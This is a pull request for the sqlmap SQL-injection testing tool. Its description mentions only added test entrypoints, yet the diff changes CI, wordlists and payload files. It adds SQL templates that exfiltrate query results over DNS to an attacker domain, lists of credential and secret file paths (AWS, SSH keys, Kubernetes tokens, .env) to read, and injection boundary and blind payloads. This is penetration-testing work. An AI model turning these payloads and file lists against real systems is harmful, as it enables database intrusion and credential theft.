Fixes #6143

Every tests/test_*.py file provides an

    if __name__ == "__main__":
        unittest.main(...)

entrypoint so it can be run directly, except test_ssti.py and
test_xpath.py. Running either of those directly produced no output and
executed none of its tests; they only ran under `unittest discover`.

Add the missing entrypoint to both so they behave like the rest of the
suite. No test logic changed (62 and 48 tests respectively still pass).

.github/workflows/tests.yml

@@ -3,10 +3,24 @@ on:
     branches: [ master ]
   pull_request:
     branches: [ master ]
+  workflow_dispatch:
+
+concurrency:
+  group: ci-${{ github.ref }}
+  cancel-in-progress: true
+
+permissions:
+  contents: read
 
 jobs:
   build:
     runs-on: ${{ matrix.os }}
+    timeout-minutes: 30
+
+    env:
+      # deterministic dict/set iteration order run-to-run (guards against hash-order flakiness in CI)
+      PYTHONHASHSEED: "0"
+
     strategy:
       matrix:
         include:
@@ -22,17 +36,105 @@ jobs:
         uses: actions/checkout@v4
         with:
           fetch-depth: 1
+          persist-credentials: false
 
       - name: Set up Python ${{ matrix.python-version }}
         uses: actions/setup-python@v5
         with:
           python-version: ${{ matrix.python-version }}
 
+      - name: Python sanity
+        run: python -VV
+
+      - name: Pyflakes lint
+        shell: bash
+        run: |
+          python - <<'PY'
+          from __future__ import print_function
+
+          import subprocess
+          import sys
+
+          subprocess.check_call([
+              sys.executable, "-m", "pip", "install", "pyflakes"
+          ])
+
+          files = subprocess.check_output(
+              ["git", "ls-files", "*.py"]
+          ).decode("utf-8").splitlines()
+
+          files = [
+              f for f in files
+              if not f.startswith("thirdparty/")
+          ]
+
+          proc = subprocess.Popen(
+              [sys.executable, "-m", "pyflakes"] + files,
+              stdout=subprocess.PIPE,
+              stderr=subprocess.STDOUT,
+          )
+          out, _ = proc.communicate()
+
+          text = out.decode("utf-8", "replace")
+          lines = [
+              line for line in text.splitlines()
+              if " redefines " not in line
+          ]
+
+          if lines:
+              print("\n".join(lines))
+              sys.exit(1)
+
+          if proc.returncode not in (0, 1):
+              if text:
+                  print(text)
+              print("pyflakes failed unexpectedly with status %s" % proc.returncode)
+              sys.exit(proc.returncode or 1)
+
+          print("pyflakes: clean")
+          PY
+
       - name: Basic import test
         run: python -c "import sqlmap; import sqlmapapi"
 
+      - name: Install optional test deps (lxml, jinja2)
+        # lxml has no PyPy-2.7 wheel and 5.x is Py3-only, so it cannot be pip-installed there. The
+        # tests that use it (test_xpath's real-XPath checks, and the --xpath/--ssti vuln-test
+        # endpoints) skip themselves when the engine is unavailable, so these deps are only needed
+        # on the Py3 jobs.
+        if: matrix.python-version != 'pypy-2.7'
+        run: python -m pip install -q lxml jinja2
+
+      - name: Unit tests
+        # -B: do not write .pyc files. On Python 2 / PyPy a cached .pyc makes a module's __file__
+        # point at the .pyc, which would make the later --smoke getFileType(__file__) doctest see
+        # 'binary' instead of 'text'. Keeping this step byte-compile-free leaves --smoke clean.
+        run: python -B -m unittest discover -s tests -p "test_*.py"
+
+      - name: Esperanto self-test
+        # offline, deterministic engine check against an in-memory SQLite boolean oracle: all
+        # compare modes + identify + bytes/text + noisy-oracle quorum + integrity + strategy
+        # handoff (a failed assertion exits non-zero)
+        run: python extra/esperanto/run.py --self-test
+
+      - name: Coverage
+        if: matrix.python-version != 'pypy-2.7'
+        run: |
+          python -m pip install coverage
+          python -m coverage run --source=lib,plugins,tamper -m unittest discover -s tests -p "test_*.py"
+          python -m coverage run -a --source=lib,plugins,tamper sqlmap.py --doc-test
+          python -m coverage report --fail-under=50
+
       - name: Smoke test
-        run: python sqlmap.py --smoke
+        run: python sqlmap.py --smoke-test
+
+      - name: Payload lint
+        # offline: emulates blind + UNION enumeration across all DBMSes and checks
+        # every payload agent.py builds with lib/utils/sqllint (structural sanity)
+        run: python sqlmap.py --payload-lint
 
       - name: Vuln test
-        run: python sqlmap.py --vuln
+        run: python sqlmap.py --vuln-test
+
+      - name: API test
+        run: python sqlmap.py --api-test

.gitignore

@@ -7,3 +7,14 @@ traffic.txt
 req*.txt
 .idea/
 .aider*
+.DS_Store
+.github/.DS_Store
+data/.DS_Store
+extra/.DS_Store
+lib/.DS_Store
+plugins/.DS_Store
+thirdparty/.DS_Store
+CLAUDE.md
+.coverage
+.codegraph/
+.claude/

README.md

@@ -1,4 +1,4 @@
-# sqlmap ![](https://i.imgur.com/fe85aVR.png)
+# sqlmap
 
 [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/[email protected])](https://x.com/sqlmap)
 
@@ -47,6 +47,8 @@ Links
 * Frequently Asked Questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
 * X: [@sqlmap](https://x.com/sqlmap)
 * Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
+* Playground: https://sekumart.sekuripy.hr
+* Research: https://www.sekuripy.hr/labs/sqlmap/#research
 * Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
 
 Translations

data/procs/clickhouse/dns_request.sql

@@ -0,0 +1 @@
+SELECT count(*) FROM url('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%/', 'CSV', 'c String')

data/procs/h2/dns_request.sql

@@ -0,0 +1,2 @@
+SELECT FILE_READ('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%/', NULL)
+# or SELECT CSVREAD('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%/')

data/txt/common-columns.txt

@@ -2768,6 +2768,42 @@ shouji
 u_pass
 hashedPw
 
+# API keys, tokens and secrets
+
+api_key
+apikey
+api_token
+access_token
+refresh_token
+auth_token
+session_token
+remember_token
+secret_key
+client_secret
+encryption_key
+reset_token
+password_reset_token
+verification_token
+confirmation_token
+otp
+otp_secret
+totp_secret
+mfa_secret
+two_factor_secret
+
+# Framework and identity columns
+
+deleted_at
+uuid
+role
+is_admin
+is_active
+is_verified
+date_of_birth
+dob
+credit_card
+postal_code
+
 # password (international)
 
 adgangskode

data/txt/common-files.txt

@@ -1807,3 +1807,48 @@
 /opt/kibana/config/kibana.yml
 /etc/kibana/kibana.yml
 /etc/elasticsearch/elasticsearch.yml
+
+# Containers and orchestration secrets
+
+/.dockerenv
+/proc/self/cgroup
+/proc/1/cgroup
+/run/secrets/kubernetes.io/serviceaccount/token
+/var/run/secrets/kubernetes.io/serviceaccount/token
+/run/secrets/kubernetes.io/serviceaccount/namespace
+/var/run/secrets/kubernetes.io/serviceaccount/namespace
+/run/secrets/kubernetes.io/serviceaccount/ca.crt
+
+# Cloud provider credentials
+
+/root/.aws/credentials
+/root/.aws/config
+/root/.config/gcloud/application_default_credentials.json
+/root/.config/gcloud/credentials.db
+/root/.azure/accessTokens.json
+/root/.kube/config
+
+# SSH keys and DB/tool history
+
+/root/.ssh/authorized_keys
+/root/.ssh/id_ed25519
+/root/.ssh/id_ecdsa
+/root/.ssh/id_dsa
+/root/.mysql_history
+/root/.psql_history
+/root/.rediscli_history
+/root/.python_history
+/root/.sqlite_history
+
+# dotenv, VCS and app config under common web roots
+
+/var/www/.env
+/var/www/html/.env
+/app/.env
+/usr/share/nginx/html/.env
+/var/www/html/.git/config
+/var/www/html/.git/HEAD
+/var/www/html/wp-config.php
+/app/application.properties
+/app/application.yml
+/app/docker-compose.yml

data/txt/common-params.txt

@@ -0,0 +1,243 @@
+# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+# See the file 'LICENSE' for copying permission
+
+id
+page
+q
+query
+search
+s
+keyword
+keywords
+name
+username
+user
+uid
+userid
+email
+mail
+pass
+password
+pwd
+token
+key
+apikey
+api_key
+access_token
+auth
+session
+sid
+sessionid
+lang
+language
+locale
+country
+region
+city
+zip
+sort
+order
+orderby
+dir
+direction
+filter
+category
+cat
+type
+kind
+class
+group
+tag
+tags
+status
+state
+action
+act
+cmd
+command
+op
+operation
+mode
+method
+func
+function
+callback
+jsonp
+format
+output
+view
+tab
+step
+stage
+debug
+test
+dev
+admin
+role
+level
+priv
+file
+filename
+path
+dir
+folder
+doc
+document
+url
+uri
+link
+href
+redirect
+redirect_uri
+return
+returnurl
+return_url
+next
+target
+dest
+destination
+goto
+continue
+ref
+referer
+referrer
+source
+src
+from
+to
+date
+year
+month
+day
+time
+timestamp
+start
+end
+begin
+finish
+limit
+offset
+count
+num
+number
+size
+length
+width
+height
+amount
+price
+qty
+quantity
+value
+val
+data
+input
+content
+text
+msg
+message
+body
+title
+subject
+description
+desc
+comment
+note
+code
+hash
+sig
+signature
+csrf
+csrf_token
+csrftoken
+nonce
+salt
+enc
+encrypt
+decrypt
+base64
+json
+xml
+raw
+echo
+reflect
+show
+hide
+display
+render
+template
+tpl
+theme
+skin
+style
+color
+font
+image
+img
+photo
+avatar
+icon
+banner
+video
+audio
+media
+attachment
+upload
+download
+export
+import
+backup
+restore
+sync
+refresh
+reload
+reset
+clear
+flush
+purge
+enable
+disable
+active
+enabled
+visible
+public
+private
+locked
+verified
+confirmed
+approved
+product
+item
+sku
+model
+brand
+vendor
+seller
+store
+shop
+cart
+basket
+checkout
+payment
+invoice
+receipt
+transaction
+account
+profile
+member
+customer
+client
+company
+organization
+org
+department
+team
+project
+task
+job
+event
+booking
+reservation
+appointment
+schedule
+calendar

data/txt/common-tables.txt

@@ -3372,17 +3372,23 @@ django_session
 django_migrations
 django_content_type
 django_admin_log
+auth_user_groups
+auth_user_user_permissions
 
 # laravel
 
 migrations
 password_resets
+password_reset_tokens
 failed_jobs
 personal_access_tokens
 job_batches
 model_has_roles
 model_has_permissions
 role_has_permissions
+cache
+cache_locks
+notifications
 
 # rails
 
@@ -3420,3 +3426,6 @@ subscriptions
 users_bak
 users_old
 orders_backup
+user_roles
+role_permissions
+tokens

data/txt/keywords.txt

@@ -1633,3 +1633,5 @@ YEAR
 
 ORD
 MID
+TOP
+ROWNUM

data/txt/sha256sums.txt

@@ -1,644 +0,0 @@
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-5dfaeac6e7ed4c3b56fc75b3c3a594b8458effa4856c0237e1b48405c309f421  data/procs/mssqlserver/create_new_xp_cmdshell.sql
-3c8944fbd4d77b530af2c72cbabeb78ebfb90f01055a794eede00b7974a115d0  data/procs/mssqlserver/disable_xp_cmdshell_2000.sql
-afb169095dc36176ffdd4efab9e6bb9ed905874469aac81e0ba265bc6652caa4  data/procs/mssqlserver/dns_request.sql
-657d56f764c84092ff4bd10b8fcbde95c13780071b715df0af1bc92b7dd284f2  data/procs/mssqlserver/enable_xp_cmdshell_2000.sql
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-02b7ef3e56d8346cc4e06baa85b608b0650a8c7e3b52705781a691741fc41bfb  data/procs/mysql/write_file_limit.sql
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data/xml/banner/generic.xml

@@ -34,7 +34,7 @@
     <!-- Reference: https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832%28v=vs.85%29.aspx -->
 
     <regexp value="Windows.*\b10\.0">
-        <info type="Windows" distrib="2016|2019|2022|10|11"/>
+        <info type="Windows" distrib="2016|2019|2022|2025|10|11"/>
     </regexp>
 
     <regexp value="Windows.*\b6\.3">
@@ -179,6 +179,10 @@
         <info type="Linux" distrib="Rocky"/>
     </regexp>
 
+    <regexp value="AlmaLinux">
+        <info type="Linux" distrib="Alma"/>
+    </regexp>
+
     <!-- BSD -->
 
     <regexp value="FreeBSD">

data/xml/banner/mssql.xml

@@ -1,5 +1,195 @@
 <?xml version="1.0" ?>
+<!--
+     Release/Service Pack anchors for SQL Server 2012-2022.
+     Each release leads with a coarse "major.minor" signature (matches any patch
+     level, so the product year is always resolved) followed by exact RTM/SP base
+     builds (last match wins, so the specific entry overrides the coarse fallback
+     and adds Service Pack identification). 2017+ use the CU servicing model (no SPs).
+     Reference: https://learn.microsoft.com/en-us/troubleshoot/sql/releases/download-and-install-latest-updates
+-->
 <root>
+    <signatures release="2022">
+        <signature>
+            <version>
+                16.0
+            </version>
+            <servicepack>
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                16.0.1000.6
+            </version>
+            <servicepack>
+                0
+            </servicepack>
+        </signature>
+    </signatures>
+    <signatures release="2019">
+        <signature>
+            <version>
+                15.0
+            </version>
+            <servicepack>
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                15.0.2000.5
+            </version>
+            <servicepack>
+                0
+            </servicepack>
+        </signature>
+    </signatures>
+    <signatures release="2017">
+        <signature>
+            <version>
+                14.0
+            </version>
+            <servicepack>
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                14.0.1000.169
+            </version>
+            <servicepack>
+                0
+            </servicepack>
+        </signature>
+    </signatures>
+    <signatures release="2016">
+        <signature>
+            <version>
+                13.0
+            </version>
+            <servicepack>
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                13.0.1601.5
+            </version>
+            <servicepack>
+                0
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                13.0.4001.0
+            </version>
+            <servicepack>
+                1
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                13.0.5026.0
+            </version>
+            <servicepack>
+                2
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                13.0.6300.2
+            </version>
+            <servicepack>
+                3
+            </servicepack>
+        </signature>
+    </signatures>
+    <signatures release="2014">
+        <signature>
+            <version>
+                12.0
+            </version>
+            <servicepack>
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                12.0.2000.8
+            </version>
+            <servicepack>
+                0
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                12.0.4100.1
+            </version>
+            <servicepack>
+                1
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                12.0.5000.0
+            </version>
+            <servicepack>
+                2
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                12.0.6024.0
+            </version>
+            <servicepack>
+                3
+            </servicepack>
+        </signature>
+    </signatures>
+    <signatures release="2012">
+        <signature>
+            <version>
+                11.0
+            </version>
+            <servicepack>
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                11.0.2100.60
+            </version>
+            <servicepack>
+                0
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                11.0.3000.0
+            </version>
+            <servicepack>
+                1
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                11.0.5058.0
+            </version>
+            <servicepack>
+                2
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                11.0.6020.0
+            </version>
+            <servicepack>
+                3
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                11.0.7001.0
+            </version>
+            <servicepack>
+                4
+            </servicepack>
+        </signature>
+    </signatures>
     <signatures release="2008 R2">
         <signature>
             <version>

data/xml/banner/mysql.xml

@@ -3,6 +3,7 @@
 <!--
      References:
      * https://en.wikipedia.org/wiki/Debian_version_history
+     * https://en.wikipedia.org/wiki/Ubuntu_version_history
 -->
 
 <root>
@@ -76,4 +77,30 @@
         <info dbms_version="1" type="Linux" distrib="Debian" codename="testing"/>
     </regexp>
 
+    <!-- Ubuntu (release embedded in the package version, e.g. 8.0.36-0ubuntu0.22.04.1) -->
+
+    <regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.14\.04">
+        <info dbms_version="1" type="Linux" distrib="Ubuntu" release="14.04" codename="trusty"/>
+    </regexp>
+
+    <regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.16\.04">
+        <info dbms_version="1" type="Linux" distrib="Ubuntu" release="16.04" codename="xenial"/>
+    </regexp>
+
+    <regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.18\.04">
+        <info dbms_version="1" type="Linux" distrib="Ubuntu" release="18.04" codename="bionic"/>
+    </regexp>
+
+    <regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.20\.04">
+        <info dbms_version="1" type="Linux" distrib="Ubuntu" release="20.04" codename="focal"/>
+    </regexp>
+
+    <regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.22\.04">
+        <info dbms_version="1" type="Linux" distrib="Ubuntu" release="22.04" codename="jammy"/>
+    </regexp>
+
+    <regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.24\.04">
+        <info dbms_version="1" type="Linux" distrib="Ubuntu" release="24.04" codename="noble"/>
+    </regexp>
+
 </root>

data/xml/boundaries.xml

@@ -55,6 +55,8 @@ Tag: <boundary>
             4: Double quoted string
             5: LIKE double quoted string
             6: Identifier (e.g. column name)
+            7: Block comment
+            8: Alternative quoted string (e.g. PostgreSQL $$...$$, Oracle q'[...]')
 
     Sub-tag: <prefix>
         A string to prepend to the payload.
@@ -342,14 +344,6 @@ Formats:
         <suffix>[GENERIC_SQL_COMMENT]</suffix>
     </boundary>
 
-    <boundary>
-        <level>5</level>
-        <clause>9</clause>
-        <where>1,2</where>
-        <ptype>2</ptype>
-        <prefix>") WHERE [RANDNUM]=[RANDNUM]</prefix>
-        <suffix>[GENERIC_SQL_COMMENT]</suffix>
-    </boundary>
 
     <boundary>
         <level>4</level>
@@ -414,41 +408,6 @@ Formats:
         <suffix>)+'</suffix>
     </boundary>
 
-    <boundary>
-        <level>5</level>
-        <clause>9</clause>
-        <where>1</where>
-        <ptype>2</ptype>
-        <prefix>||(SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM]</prefix>
-        <suffix>)||</suffix>
-    </boundary>
-
-    <boundary>
-        <level>5</level>
-        <clause>9</clause>
-        <where>1</where>
-        <ptype>2</ptype>
-        <prefix>||(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
-        <suffix>)||</suffix>
-    </boundary>
-
-    <boundary>
-        <level>5</level>
-        <clause>9</clause>
-        <where>1</where>
-        <ptype>1</ptype>
-        <prefix>+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
-        <suffix>)+</suffix>
-    </boundary>
-
-    <boundary>
-        <level>5</level>
-        <clause>9</clause>
-        <where>1</where>
-        <ptype>2</ptype>
-        <prefix>'+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
-        <suffix>)+'</suffix>
-    </boundary>
     <!-- End of pre-WHERE generic boundaries -->
 
     <!-- Pre-WHERE derived table boundaries - e.g. "SELECT * FROM (SELECT column FROM table WHERE column LIKE '%$_REQUEST["name"]%') AS t1"-->
@@ -461,14 +420,6 @@ Formats:
         <suffix>[GENERIC_SQL_COMMENT]</suffix>
     </boundary>
 
-    <boundary>
-        <level>5</level>
-        <clause>1</clause>
-        <where>1,2</where>
-        <ptype>2</ptype>
-        <prefix>")) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
-        <suffix>[GENERIC_SQL_COMMENT]</suffix>
-    </boundary>
 
     <boundary>
         <level>5</level>
@@ -510,21 +461,25 @@ Formats:
         <level>4</level>
         <clause>1</clause>
         <where>1</where>
-        <ptype>1</ptype>
+        <ptype>6</ptype>
         <prefix>` WHERE [RANDNUM]=[RANDNUM]</prefix>
         <suffix>[GENERIC_SQL_COMMENT]</suffix>
     </boundary>
 
-    <boundary>
-        <level>5</level>
-        <clause>1</clause>
-        <where>1</where>
-        <ptype>1</ptype>
-        <prefix>`) WHERE [RANDNUM]=[RANDNUM]</prefix>
-        <suffix>[GENERIC_SQL_COMMENT]</suffix>
-    </boundary>
     <!-- End of pre-WHERE derived table boundaries -->
 
+    <!-- Block-comment escape: injection point sits INSIDE /* ... */ (e.g. a query tag / trace / tenant
+         annotation). '*/' terminates the app comment, the test runs, '/*' re-opens a comment that the
+         app's original '*/' closes. Inert (stays inside the literal) when the value is not in a comment. -->
+    <boundary>
+        <level>4</level>
+        <clause>1,2,3</clause>
+        <where>1,2</where>
+        <ptype>7</ptype>
+        <prefix>*/</prefix>
+        <suffix>/*</suffix>
+    </boundary>
+
     <!-- Escaped column name (e.g. SELECT `...` FROM table) boundaries -->
     <boundary>
         <level>4</level>
@@ -558,7 +513,7 @@ Formats:
         <level>5</level>
         <clause>7</clause>
         <where>1</where>
-        <ptype>3</ptype>
+        <ptype>6</ptype>
         <prefix> [RANDSTR1],</prefix>
         <suffix> [RANDSTR2]</suffix>
     </boundary>
@@ -573,4 +528,48 @@ Formats:
         <suffix>#</suffix>
     </boundary>
     <!-- End of AGAINST boolean full-text search boundaries -->
+
+    <!-- Alternative quoted string delimiters where ' and " have no terminating effect:
+         PostgreSQL $$...$$ dollar quoting, Oracle q'[...]' / q'{...}' / q'(...)' / q'<...>'. -->
+    <boundary>
+        <level>5</level>
+        <clause>1</clause>
+        <where>1,2</where>
+        <ptype>8</ptype>
+        <prefix>$$</prefix>
+        <suffix>[GENERIC_SQL_COMMENT]</suffix>
+    </boundary>
+    <boundary>
+        <level>5</level>
+        <clause>1</clause>
+        <where>1,2</where>
+        <ptype>8</ptype>
+        <prefix>]'</prefix>
+        <suffix>[GENERIC_SQL_COMMENT]</suffix>
+    </boundary>
+    <boundary>
+        <level>5</level>
+        <clause>1</clause>
+        <where>1,2</where>
+        <ptype>8</ptype>
+        <prefix>}'</prefix>
+        <suffix>[GENERIC_SQL_COMMENT]</suffix>
+    </boundary>
+    <boundary>
+        <level>5</level>
+        <clause>1</clause>
+        <where>1,2</where>
+        <ptype>8</ptype>
+        <prefix>)'</prefix>
+        <suffix>[GENERIC_SQL_COMMENT]</suffix>
+    </boundary>
+    <boundary>
+        <level>5</level>
+        <clause>1</clause>
+        <where>1,2</where>
+        <ptype>8</ptype>
+        <prefix>&gt;'</prefix>
+        <suffix>[GENERIC_SQL_COMMENT]</suffix>
+    </boundary>
+    <!-- End of alternative quoted string boundaries -->
 </root>

data/xml/errors.xml

@@ -2,6 +2,9 @@
 
 <root>
     <dbms value="MySQL">
+        <error regexp="org\.apache\.doris\." fork="Doris"/>
+        <error regexp="com\.starrocks\." fork="StarRocks"/>
+        <error regexp="Getting syntax error (at|from) line \d+, column \d+" fork="StarRocks"/>
         <error regexp="SQL syntax.*?MySQL"/>
         <error regexp="Warning.*?\Wmysqli?_"/>
         <error regexp="MySQLSyntaxErrorException"/>
@@ -16,12 +19,23 @@
         <error regexp="Zend_Db_(Adapter|Statement)_Mysqli_Exception"/>
         <error regexp="Pdo[./_\\]Mysql"/>
         <error regexp="MySqlException"/>
+        <error regexp="pymysql\.err\."/>
+        <error regexp="MySQLdb\.(_exceptions\.|\w+Error)"/>
         <error regexp="MemSQL does not support this type of query" fork="MemSQL"/>
         <error regexp="is not supported by MemSQL" fork="MemSQL"/>
         <error regexp="unsupported nested scalar subselect" fork="MemSQL"/>
     </dbms>
 
     <dbms value="PostgreSQL">
+        <error regexp="crdb_internal\." fork="CockroachDB"/>
+        <error regexp="github\.com/cockroachdb/cockroach/pkg/sql" fork="CockroachDB"/>
+        <error regexp="com\.yugabyte\.(util\.PSQLException|core\.v3)" fork="YugabyteDB"/>
+        <error regexp="\(yb/\w+/\w+\.cc:\d+\)" fork="YugabyteDB"/>
+        <error regexp="org\.opengauss\.(util\.PSQLException|core\.v3)" fork="OpenGauss"/>
+        <error regexp="(duckdb\.duckdb|_duckdb)\.(Parser|Binder|Catalog|Conversion)Exception" fork="DuckDB"/>
+        <error regexp="org\.duckdb\.DuckDB" fork="DuckDB"/>
+        <error regexp="Parser Error: [^\n]{0,40}at or near" fork="DuckDB"/>
+        <error regexp="(Catalog Error: Table with name|Binder Error: Referenced column)" fork="DuckDB"/>
         <error regexp="PostgreSQL.*?ERROR"/>
         <error regexp="Warning.*?\Wpg_"/>
         <error regexp="valid PostgreSQL result"/>
@@ -34,6 +48,8 @@
         <error regexp="org\.postgresql\.jdbc"/>
         <error regexp="Pdo[./_\\]Pgsql"/>
         <error regexp="PSQLException"/>
+        <error regexp="psycopg2?\.(errors\.|\w+Error)"/>
+        <error regexp="asyncpg\.(exceptions\.|\w+Error)"/>
     </dbms>
 
     <dbms value="Microsoft SQL Server">
@@ -78,6 +94,8 @@
         <error regexp="Zend_Db_(Adapter|Statement)_Oracle_Exception"/>
         <error regexp="Pdo[./_\\](Oracle|OCI)"/>
         <error regexp="OracleException"/>
+        <error regexp="cx_Oracle\.\w+Error"/>
+        <error regexp="oracledb\.(exceptions\.|\w+Error)"/>
     </dbms>
 
     <dbms value="IBM DB2">
@@ -127,7 +145,7 @@
     </dbms>
 
     <dbms value="SAP MaxDB">
-        <error regexp="SQL error.*?POS([0-9]+)"/>
+        <error regexp="SQL[- ]error.*?POS\(\d+\)"/>
         <error regexp="Warning.*?\Wmaxdb_"/>
         <error regexp="DriverSapDB"/>
         <error regexp="-3014.*?Invalid end of SQL statement"/>
@@ -173,6 +191,7 @@
         <error regexp="![0-9]{5}![^\n]+(failed|unexpected|error|syntax|expected|violation|exception)"/>
         <error regexp="\[MonetDB\]\[ODBC Driver"/>
         <error regexp="nl\.cwi\.monetdb\.jdbc"/>
+        <error regexp="org\.monetdb\.jdbc"/>
     </dbms>
 
     <dbms value="Apache Derby">
@@ -196,6 +215,7 @@
     </dbms>
 
     <dbms value="Presto">
+        <error regexp="io\.trino\.(jdbc|spi)\." fork="Trino"/>
         <error regexp="com\.facebook\.presto\.jdbc"/>
         <error regexp="io\.prestosql\.jdbc"/>
         <error regexp="com\.simba\.presto\.jdbc"/>
@@ -218,10 +238,15 @@
     </dbms>
 
     <dbms value="CrateDB">
-        <error regexp="io\.crate\.client\.jdbc"/>
+        <error regexp="io\.crate\."/>
     </dbms>
 
-    <dbms value="Cache">
+    <dbms value="Cubrid">
+        <error regexp="\[CAS INFO"/>
+        <error regexp="cubrid\.jdbc\.driver"/>
+    </dbms>
+
+    <dbms value="InterSystems Cache">
         <error regexp="encountered after end of query"/>
         <error regexp="A comparison operator is required here"/>
     </dbms>
@@ -249,4 +274,11 @@
     <dbms value="Spanner">
         <error regexp="type.googleapis.com/zetasql.ErrorMessageModeForPayload"/>
     </dbms>
+
+    <dbms value="SAP HANA">
+        <error regexp="SAP DBTech JDBC"/>
+        <error regexp="invalid number: not a valid number string"/>
+        <error regexp="sql syntax error:.*?\(at pos \d+\)"/>
+        <error regexp="inserted value too large for column"/>
+    </dbms>
 </root>

data/xml/payloads/boolean_blind.xml

@@ -598,7 +598,7 @@ Tag: <test>
     </test>
 
     <test>
-        <title>SQLite AND boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON)</title>
+        <title>SQLite AND boolean-based blind - WHERE or HAVING clause (JSON)</title>
         <stype>1</stype>
         <level>2</level>
         <risk>1</risk>
@@ -617,7 +617,7 @@ Tag: <test>
     </test>
 
     <test>
-        <title>SQLite OR boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON)</title>
+        <title>SQLite OR boolean-based blind - WHERE or HAVING clause (JSON)</title>
         <stype>1</stype>
         <level>3</level>
         <risk>3</risk>
@@ -1109,46 +1109,6 @@ Tag: <test>
         </details>
     </test>
 
-    <test>
-        <title>MySQL &lt; 5.0 boolean-based blind - ORDER BY, GROUP BY clause</title>
-        <stype>1</stype>
-        <level>3</level>
-        <risk>1</risk>
-        <clause>2,3</clause>
-        <where>1</where>
-        <vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</vector>
-        <request>
-            <payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</payload>
-        </request>
-        <response>
-            <comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</comparison>
-        </response>
-        <details>
-            <dbms>MySQL</dbms>
-            <dbms_version>&lt; 5.0</dbms_version>
-        </details>
-    </test>
-
-    <test>
-        <title>MySQL &lt; 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value)</title>
-        <stype>1</stype>
-        <level>4</level>
-        <risk>1</risk>
-        <clause>2,3</clause>
-        <where>1</where>
-        <vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</vector>
-        <request>
-            <payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</payload>
-        </request>
-        <response>
-            <comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</comparison>
-        </response>
-        <details>
-            <dbms>MySQL</dbms>
-            <dbms_version>&lt; 5.0</dbms_version>
-        </details>
-    </test>
-
     <test>
         <title>PostgreSQL boolean-based blind - ORDER BY, GROUP BY clause</title>
         <stype>1</stype>
@@ -1445,27 +1405,6 @@ Tag: <test>
         </details>
     </test>
 
-    <test>
-        <title>MySQL &lt; 5.0 boolean-based blind - Stacked queries</title>
-        <stype>1</stype>
-        <level>5</level>
-        <risk>1</risk>
-        <clause>1-8</clause>
-        <where>1</where>
-        <vector>;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)</vector>
-        <request>
-            <payload>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)</payload>
-            <comment>#</comment>
-        </request>
-        <response>
